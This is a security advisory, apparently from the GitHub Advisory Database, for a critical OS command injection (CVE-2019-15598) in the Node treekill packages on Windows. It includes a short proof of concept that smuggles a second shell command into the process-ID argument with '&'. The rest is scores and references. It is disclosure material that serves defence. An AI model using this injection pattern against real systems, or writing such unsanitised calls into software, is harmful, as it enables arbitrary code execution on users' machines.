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Security Advisories: GSA_kwCzR0hTQS1qN2ZxLXA5cTctNXdmds4AAjAY

Treekill Enables OS Command Injection

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

Permalink: https://github.com/advisories/GHSA-j7fq-p9q7-5wfv
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qN2ZxLXA5cTctNXdmds4AAjAY
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Critical
Classification: General
Published: over 2 years ago
Updated: 9 months ago

CVSS Score: 9.8
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS Percentage: 0.00572
EPSS Percentile: 0.77765

Identifiers: GHSA-j7fq-p9q7-5wfv, CVE-2019-15598
References:

• https://nvd.nist.gov/vuln/detail/CVE-2019-15598
• https://hackerone.com/reports/703415
• https://github.com/pkrumins/node-tree-kill/issues/30
• https://github.com/pkrumins/node-tree-kill/pull/31
• https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c
• https://hackerone.com/reports/701183
• https://github.com/node-modules/treekill/blob/master/index.js#L32
• https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781
• https://github.com/advisories/GHSA-j7fq-p9q7-5wfv

Repository: https://github.com/pkrumins/node-tree-kill
Blast Radius: 59.1

Affected Packages